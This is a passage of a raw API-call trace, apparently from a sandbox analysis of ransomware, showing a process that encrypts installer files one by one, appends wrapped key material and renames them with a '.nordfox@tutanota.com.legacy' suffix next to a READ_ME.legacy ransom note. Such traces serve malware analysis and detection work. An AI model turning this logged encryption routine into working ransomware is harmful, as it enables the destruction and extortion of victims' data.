(HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0100.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0100.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0100.076] CreateFileW (lpFileName="\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0 [0100.076] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=77022) returned 1 [0100.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12cde) returned 0x5a0f80 [0100.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12cde) returned 0x5b3c68 [0100.076] ReadFile (in: hFile=0x4a0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x12cde, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x12cde, lpOverlapped=0x0) returned 1 [0100.087] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=-77022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.087] WriteFile (in: hFile=0x4a0, lpBuffer=0x5b3c68*, nNumberOfBytesToWrite=0x12cde, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b3c68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12cde, lpOverlapped=0x0) returned 1 [0100.089] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b3c68 | out: hHeap=0x520000) returned 1 [0100.092] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12cde [0100.092] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.092] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.093] WriteFile (in: hFile=0x4a0, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.094] WriteFile (in: hFile=0x4a0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.094] CloseHandle (hObject=0x4a0) returned 1 [0100.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0100.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0100.096] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1035\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0100.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0100.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0100.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0100.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0100.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0100.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0100.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0100.099] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1035\\eula.rtf", dwFileAttributes=0x80) returned 1 [0100.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0100.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0100.099] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0100.099] CreateFileW (lpFileName="\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0 [0100.100] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3702) returned 1 [0100.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe76) returned 0x5a0f80 [0100.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe76) returned 0x5a1e00 [0100.100] ReadFile (in: hFile=0x4a0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xe76, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xe76, lpOverlapped=0x0) returned 1 [0100.194] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=-3702, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.194] WriteFile (in: hFile=0x4a0, lpBuffer=0x5a1e00*, nNumberOfBytesToWrite=0xe76, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1e00*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe76, lpOverlapped=0x0) returned 1 [0100.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1e00 | out: hHeap=0x520000) returned 1 [0100.194] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe76 [0100.194] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.194] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.195] WriteFile (in: hFile=0x4a0, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.195] WriteFile (in: hFile=0x4a0, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.195] CloseHandle (hObject=0x4a0) returned 1 [0100.200] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0100.200] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0100.200] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1035\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0100.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0100.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0100.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0100.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0100.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0100.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b10 | out: hHeap=0x520000) returned 1 [0100.202] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0868 [0100.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0100.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0100.203] GetLastError () returned 0x0 [0100.203] SetLastError (dwErrCode=0x0) [0100.203] GetLastError () returned 0x0 [0100.203] SetLastError (dwErrCode=0x0) [0100.203] GetLastError () returned 0x0 [0100.203] SetLastError (dwErrCode=0x0) [0100.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0100.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0100.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0100.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ca8 [0100.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ca8 | out: hHeap=0x520000) returned 1 [0100.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0100.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0100.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0100.203] FindNextFileW (in: hFindFile=0x5a0868, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0100.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0100.203] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0100.203] GetLastError () returned 0x0 [0100.203] SetLastError (dwErrCode=0x0) [0100.204] GetLastError () returned 0x0 [0100.204] SetLastError (dwErrCode=0x0) [0100.204] GetLastError () returned 0x0 [0100.204] SetLastError (dwErrCode=0x0) [0100.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0100.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0100.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0100.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ae8 [0100.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ae8 | out: hHeap=0x520000) returned 1 [0100.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0100.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0100.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0100.204] FindNextFileW (in: hFindFile=0x5a0868, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0100.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0100.204] GetLastError () returned 0x0 [0100.204] SetLastError (dwErrCode=0x0) [0100.204] GetLastError () returned 0x0 [0100.204] SetLastError (dwErrCode=0x0) [0100.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0100.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0100.204] GetLastError () returned 0x0 [0100.204] SetLastError (dwErrCode=0x0) [0100.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0100.205] FindNextFileW (in: hFindFile=0x5a0868, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0100.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0100.205] GetLastError () returned 0x0 [0100.205] SetLastError (dwErrCode=0x0) [0100.205] GetLastError () returned 0x0 [0100.205] SetLastError (dwErrCode=0x0) [0100.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0100.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0100.205] GetLastError () returned 0x0 [0100.205] SetLastError (dwErrCode=0x0) [0100.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0100.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0100.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0100.205] FindNextFileW (in: hFindFile=0x5a0868, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ca5254, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8ca5254, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0100.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0100.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0100.205] GetLastError () returned 0x0 [0100.205] SetLastError (dwErrCode=0x0) [0100.205] GetLastError () returned 0x0 [0100.205] SetLastError (dwErrCode=0x0) [0100.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0100.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0100.205] GetLastError () returned 0x0 [0100.205] SetLastError (dwErrCode=0x0) [0100.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.206] FindNextFileW (in: hFindFile=0x5a0868, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0100.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0100.206] GetLastError () returned 0x0 [0100.206] SetLastError (dwErrCode=0x0) [0100.206] GetLastError () returned 0x0 [0100.206] SetLastError (dwErrCode=0x0) [0100.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0100.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0100.206] GetLastError () returned 0x0 [0100.206] SetLastError (dwErrCode=0x0) [0100.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0100.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0100.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0100.206] FindNextFileW (in: hFindFile=0x5a0868, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0100.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0100.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0100.206] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0100.206] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0100.206] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1036\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0100.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0100.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0100.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0100.207] CreateFileW (lpFileName="\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0100.207] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18776) returned 1 [0100.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5a0f80 [0100.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5a58e0 [0100.207] ReadFile (in: hFile=0x4a4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0100.246] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.247] WriteFile (in: hFile=0x4a4, lpBuffer=0x5a58e0*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a58e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0100.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a58e0 | out: hHeap=0x520000) returned 1 [0100.248] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4958 [0100.248] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.248] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.249] WriteFile (in: hFile=0x4a4, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.249] WriteFile (in: hFile=0x4a4, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.250] CloseHandle (hObject=0x4a4) returned 1 [0100.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0100.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0100.257] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1036\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0100.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0100.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0100.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0100.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0100.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0100.258] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0100.258] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0100.258] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1036\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0100.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0100.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0100.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0100.259] CreateFileW (lpFileName="\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0100.259] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=82962) returned 1 [0100.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14412) returned 0x5a0f80 [0100.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14412) returned 0x5b53a0 [0100.259] ReadFile (in: hFile=0x4a4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x14412, 